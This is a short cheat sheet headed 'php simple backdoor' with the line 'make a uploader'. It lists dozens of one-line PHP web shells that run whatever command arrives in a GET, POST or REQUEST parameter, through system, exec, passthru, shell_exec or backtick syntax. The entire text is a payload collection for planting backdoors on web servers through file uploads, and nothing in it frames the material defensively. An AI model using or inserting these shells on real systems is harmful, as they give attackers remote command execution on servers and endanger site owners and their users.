php simple backdoor
make a uploader
<?php system($_GET['cmd']);?>
<?php system($_GET['0']);?>
<?php system($_GET['1']);?>
<?php system($_POST['cmd']);?>
<?php system($_POST['0']);?>
<?php system($_POST['1']);?>
<?php system($_REQUEST['cmd']);?>
<?php system($_REQUEST['0']);?>
<?php system($_REQUEST['1']);?>
<?php exec($_GET['cmd']);?>
<?php exec($_GET['0']);?>
<?php exec($_GET['1']);?>
<?php exec($_POST['cmd']);?>
<?php exec($_POST['0']);?>
<?php exec($_POST['1']);?>
<?php exec($_REQUEST['cmd']);?>
<?php exec($_REQUEST['0']);?>
<?php exec($_REQUEST['1']);?>
<?php passthru($_GET['cmd']);?>
<?php passthru($_GET['0']);?>
<?php passthru($_GET['1']);?>
<?php passthru($_POST['cmd']);?>
<?php passthru($_POST['0']);?>
<?php passthru($_POST['1']);?>
<?php passthru($_REQUEST['cmd']);?>
<?php passthru($_REQUEST['0']);?>
<?php passthru($_REQUEST['1']);?>
<?php shell_exec($_GET['cmd']);?>
<?php shell_exec($_GET['0']);?>
<?php shell_exec($_GET['1']);?>
<?php shell_exec($_POST['cmd']);?>
<?php shell_exec($_POST['0']);?>
<?php shell_exec($_POST['1']);?>
<?php shell_exec($_REQUEST['cmd']);?>
<?php shell_exec($_REQUEST['0']);?>
<?php shell_exec($_REQUEST['1']);?>
<?=`$_GET[cmd]`?>
<?=`$_GET[0]`?>
<?=`$_GET[1]`?>
<?=`$_POST[cmd]`?>
<?=`$_POST[0]`?>
<?=`$_POST[1]`?>
<?=`$_REQUEST[cmd]`?>
<?=`$_REQUEST[0]`?>
<?=`$_REQUEST[1]`?>